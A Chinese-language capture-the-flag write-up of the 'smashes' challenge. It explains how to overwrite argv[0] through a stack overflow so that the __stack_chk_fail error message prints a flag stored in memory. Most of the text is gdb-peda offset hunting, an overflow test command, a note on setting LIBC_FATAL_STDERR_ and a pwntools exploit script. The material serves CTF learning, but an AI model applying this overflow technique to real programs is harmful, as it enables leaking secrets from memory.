介绍
利用的是fortify的报错泄露信息,在栈溢出的时候,数组越界写入,导致 canary值被修改。
在函数退出时检查canary,发现canary被修改,函数不能安全返回,call到__stack_chk_fail打印argv[0]这个指针指向的字符串,默认是程序的名字。
所以如果我们把它覆盖为flag的地址时,它就会把flag给打印出来。
关注点
发现开了canary,NX,溢出发现会有报错信息,argv[0]可以被当作错误信息输出,再放到ida,看到有字符串CTF{Here's the flag on server},于是可知只需要读出服务器中这个地址的内容。
我们可以自己尝试将程序溢出
@ubuntu:~/Desktop$ python -c 'print "A"*0x200+"\n"+"a"'| ./smashes
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAA.....AAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./smashes terminated
Aborted (core dumped)
实现__stack_chk_fail 劫持需要确定的几个值
1、argv[0]到缓冲区的距离
gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 8 results, display max 8 items:
[stack] : 0x7fffffffe253 ("/home/longlong/Desktop/smashes")
[stack] : 0x7fffffffeafc ("/home/longlong/.virtualenvs")
[stack] : 0x7fffffffeb69 ("/home/longlong/Devel")
[stack] : 0x7fffffffec50 ("/home/longlong/.virtualenvs")
[stack] : 0x7fffffffec70 ("/home/longlong/Desktop")
[stack] : 0x7fffffffed82 ("/home/longlong")
[stack] : 0x7fffffffefa5 ("/home/longlong/.Xauthority")
[stack] : 0x7fffffffefd9 ("/home/longlong/Desktop/smashes")
gdb-peda$ find 0x7fffffffe253
Searching for '0x7fffffffe253' in: None ranges
Found 2 results, display max 2 items:
libc : 0x7ffff7dd4018 --> 0x7fffffffe253 ("/home/longlong/Desktop/smashes")
[stack] : 0x7fffffffdec8 --> 0x7fffffffe253 ("/home/longlong/Desktop/smashes")
gdb-peda$ distance $rsp 0x7fffffffdec8
From 0x7fffffffdcb0 to 0x7fffffffdec8: 536 bytes, 134 dword
gdb-peda$ p 536
2、flag存储位置
gdb-peda$ find PCTF
Searching for 'PCTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d20 ("PCTF{Here's the flag on server}")
smashes : 0x600d20 ("PCTF{Here's the flag on server}")
注意点
如果LIBC_FATALSTDERR环境变量没有设置或者为空,stderr会redirect到_PATH_TTY,通常是/dev/tty,因此错误信息将不会输出到stderr而是服务端可见的设备。
所以我们必须设置这个环境变量,正好可以用这个环境变量去覆盖flag的内容。
env = "LIBC_FATAL_STDERR_=1"
p.sendline(env)
实例代码:
from pwn import *
context.log_level = 'debug'
sh = process('./hiahiahia')
#sh = remote("149.248.7.48", 8888)
argv_addr = 0x7fffffffddf0
name_addr = 0x7fffffffdf58
flag_addr = 0x4007A8
payload = 'a' * (name_addr - argv_addr) + p64(flag_addr)
sh.sendlineafter("flag!\n", payload)
sh.recv()
网友评论